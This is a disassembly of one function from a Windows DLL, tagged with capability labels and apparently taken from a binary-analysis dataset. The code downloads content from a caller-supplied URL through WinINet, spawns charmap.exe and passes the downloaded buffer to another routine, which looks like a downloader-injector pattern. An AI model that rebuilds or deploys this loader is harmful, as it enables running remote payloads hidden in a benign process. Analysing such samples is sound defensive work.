Function at 0x180001a70
Capabilities:
Create http request
Create process on windows
Get http content length
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x1070]
mov eax, 0x1170
call fcn.180003e60
sub rsp, rax
mov rax, qword [0x180008040]
xor rax, rsp
mov qword [rbp + 0x1030], rax
xor edi, edi
mov r14, rdx
mov rbx, rcx
mov qword [rbp - 0x50], rdi
xorps xmm0, xmm0
mov dword [rsp + 0x20], edi
xor edx, edx
lea rcx, str.HTTP_Downloader
xor r9d, r9d
xor r8d, r8d
mov esi, edi
movdqu xmmword [rbp - 0x60], xmm0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x50], rax
mov r13, rax
test rax, rax
jne 0x180001b07
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_internet_connection
call fcn.180002170
lea rdx, [0x180002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
jmp 0x180001ff6
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
jne 0x180001b6c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_URL:
call fcn.180002170
mov rcx, rax
mov rdx, rbx
call fcn.180002170
lea rdx, [0x180002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x180001ff6
lea r9, [rbp - 0x68]
mov qword [rsp + 0x11c0], r12
lea r8, [rbp - 0x64]
mov dword [rbp - 0x68], 4
mov edx, 0x20000005
mov qword [rsp + 0x20], rdi
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov r12d, dword [rbp - 0x64]
test eax, eax
cmove r12d, edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
movabs r9, 0xb2f4fc0794908cf3
mov rcx, rax
cmp rbx, 0x989680
jne 0x180001bcb
imul rbx, rcx, 0x64
jmp 0x180001c3f
cmp rbx, 0x16e3600
jne 0x180001c1e
mov rax, r9
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
mov rax, r9
imul rcx, rcx, 0x3b9aca00
imul rcx
lea rbx, [rcx + rdx]
sar rbx, 0x18
mov rax, rbx
shr rax, 0x3f
add rbx, rax
imul rax, r8, 0x3b9aca00
jmp 0x180001c3c
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
lea r9, [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x30]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180001dfd
movaps xmmword [rsp + 0x1160], xmm6
movabs r13, 0xb2f4fc0794908cf3
movsd xmm6, qword [0x180005658]
movaps xmmword [rsp + 0x1150], xmm7
movsd xmm7, qword [0x180005668]
movaps xmmword [rsp + 0x1140], xmm8
movsd xmm8, qword [0x180005660]
nop dword [rax + rax]
mov eax, dword [rsp + 0x78]
test eax, eax
je 0x180001ddd
mov rdx, qword [rbp - 0x58]
lea r8, [rbp + 0x30]
mov r9d, eax
lea rcx, [rbp - 0x60]
add esi, eax
call fcn.180002380
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x180001ce3
imul rax, rcx, 0x64
jmp 0x180001d54
cmp rdi, 0x16e3600
jne 0x180001d36
mov rax, r13
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
mov rax, r13
imul rcx, rcx, 0x3b9aca00
imul rcx
lea rax, [rcx + rdx]
sar rax, 0x18
mov rcx, rax
shr rcx, 0x3f
add rax, rcx
imul rcx, r8, 0x3b9aca00
jmp 0x180001d51
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
imul rcx, rcx, 0x3b9aca00
add rax, rcx
xorps xmm0, xmm0
mov rcx, rax
sub rcx, rbx
cvtsi2sd xmm0, rcx
divsd xmm0, xmm7
comisd xmm0, xmm8
jb 0x180001dbd
mov ecx, dword [rsp + 0x78]
xorps xmm1, xmm1
mov rbx, rax
mov eax, esi
xorps xmm4, xmm4
cvtsi2sd xmm1, rcx
mulsd xmm1, xmm6
divsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mov eax, r12d
cvtsi2sd xmm4, rax
movaps xmm2, xmm0
mulsd xmm2, xmm6
movaps xmm3, xmm4
mulsd xmm3, xmm6
test r12d, r12d
je 0x180001db2
divsd xmm0, xmm4
jmp 0x180001db5
xorps xmm0, xmm0
test r14, r14
je 0x180001dbd
call r14
lea r9, [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x30]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180001ca0
mov r13, qword [rsp + 0x50]
xor edi, edi
movaps xmm8, xmmword [rsp + 0x1140]
movaps xmm7, xmmword [rsp + 0x1150]
movaps xmm6, xmmword [rsp + 0x1160]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x20
mov qword [rsp + 0x60], rdi
call fcn.180002f50
movups xmm0, xmmword [str.charmap.exe]
mov qword [rsp + 0x58], rax
mov rdx, rax
mov qword [rsp + 0x68], 0xb
xor r9d, r9d
mov qword [rsp + 0x70], 0xf
xor r8d, r8d
movups xmmword [rax], xmm0
mov eax, dword [0x1800055b8]
xor ecx, ecx
xorps xmm0, xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [0x1800055bc]
mov word [rdx + 0x14], ax
xor eax, eax
mov qword [rbp + 0x20], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], edi
movups xmmword [rbp], xmm0
mov word [rdx + 0x16], di
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp + 0x10], xmm0
mov word [rbp], di
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r12, qword [rsp + 0x11c0]
test eax, eax
je 0x180001eec
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rbp - 0x70]
jmp 0x180001f11
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Create_Process_Faild_
call fcn.180002170
lea rdx, [0x180002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, edi
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180001f56
mov rcx, qword [rsp + 0x58]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001f51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001f51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002f94
mov rbx, qword [rbp - 0x58]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
sub rbx, qword [rbp - 0x60]
je 0x180001fe9
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x18000205d
cmp rbx, 0x1000
jb 0x180001fb4
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x180002057
call fcn.180002f50
test rax, rax
je 0x180001fad
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180001fbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180002f50
mov rdi, rax
lea rdx, [rdi + rbx]
mov qword [rbp - 0x80], rdi
mov rbx, qword [rbp - 0x58]
mov rcx, rdi
mov qword [rbp - 0x70], rdx
mov rdx, qword [rbp - 0x60]
sub rbx, rdx
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
mov qword [rbp - 0x78], rax
lea rdx, [rbp - 0x80]
mov ecx, esi
call fcn.180001240
mov bl, 1
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x180002033
mov rdx, qword [rbp - 0x50]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000202e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000202e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002f94
movzx eax, bl
mov rcx, qword [rbp + 0x1030]
xor rcx, rsp
call fcn.180002f30
add rsp, 0x1170
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180001180
int3
call fcn.180002120
int3